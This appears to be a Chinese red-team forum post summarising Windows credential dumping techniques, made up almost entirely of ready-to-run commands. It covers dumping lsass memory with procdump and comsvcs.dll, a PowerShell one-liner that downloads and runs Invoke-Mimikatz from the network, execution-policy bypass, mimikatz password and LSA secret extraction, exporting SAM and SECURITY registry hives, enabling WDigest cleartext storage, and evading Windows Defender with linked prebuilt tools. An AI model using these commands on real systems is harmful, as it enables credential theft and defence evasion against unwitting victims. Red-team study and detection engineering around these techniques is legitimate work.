红队基础-凭证转存基础总结
1.从Lsass.exe进程内存中转储凭据到硬盘
1.1 procdump
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- 转存hash
procdump -ma lsass.exe lsass_dump
# 或者通过转储克隆的lsass进程来避免读取lsass
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
- 还原明文密码
sekurlsa::Minidump lsass_dump.dmp
sekurlsa::logonPasswords
注意: mimikatz的版本一定要和服务器一致,否则会无法读出lsass内存信息。
1.2 Task Manger
任务管理器转存:
1.3 comsvcs.dll
powershell -c "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\lsass.dmp full"
用这种方法dump内存,需要开启:SeDebugPrivilege
,默认cmd下未开启此权限,而powershell下默认开启此权限。
2.从Lsass.exe进程转存凭证
2.1 powershell远程调用mimikatz读取密码
- 远程调用Invoke-Mimikatz读密码
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
- 本地调用Mimikatz读密码
PowerShell因为在此系统中禁止执行脚本
用管理员权限打开powershell并执行 set-ExecutionPolicy RemoteSigned
即可.
note1 : (未成功)
powershell -ExecutionPolicy Bypass -File mimikatz.ps1
note2 :
powershell.exe -exec bypass -command "& {Import-Module C:\Users\Admin\Desktop\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCreds}"
3.bypass Windows Defender
可以使用其他的一些windows api进行dump内存,从而绕过Windows Defender的检测。
3.1 MiniDumpWriteDump of DbgHelp.dll
MiniDumpWriteDump 是DdgHelp.dll的一个函数,它通常被用做收集程序异常信息,可以直接dump进程的内存。
利用该函数开发的工具:
直接运行工具,即可在该目录下生成一个dmp文件:
修改后的成品工具:链接: https://pan.baidu.com/s/1HZnXuUJVNcBwhnRdYsPutA 提取码: hwfi
3.2 PssCaptureSnapshot
这个api会从lsass进程快照进行dump内存,代码:
其实procdump -r
就是利用这个api进行转存的。
这里要注意必须在powershell下运行,因为需要开启SeDebugPrivilege
权限。
可以使用网上其他师傅的代码,在转存之前开启SeDebugPrivilege
权限,成品工具:链接: https://pan.baidu.com/s/1HZnXuUJVNcBwhnRdYsPutA 提取码: hwfi
4.导SAM取hash
4.1 从注册表导出:
- attacker@victim
reg save hklm\system system
reg save hklm\sam sam
- attacker@local
samdump2 system sam
4.2 esentutl.exe导出
esentutl.exe /y /vss C:\Windows\System32\config\SAM /d c:\temp\sam
- windows 10测试通过
- windows 2008 测试失败
5.windows2008以上获取明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
6.mimikatz命令读取密码
mimikatz.exe privilege::debug
sekurlsa::logonpasswords full exit
7.dump LSA密码
什么是LSA密码?
LSA是Windows系统本地安全认证的模块。它会存储用户登录其他系统和服务用户名和密码,如VPN网络连接、ADSL网络连接、FTP服务、Web服务。
7.1 从内存dump LSA密码
mimikatz.exe privilege::debug
token::elevate
lsadump::secrets
7.2 从注册表dump LSA密码
LSA密码在注册表中存放位置:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
导出注册表:
reg save HKLM\SYSTEM system & reg save HKLM\security security
用mimikatz读取:
lsadump::secrets /system:c:\temp\system /security:c:\temp\security
- 本文作者: Alivin
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/567
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!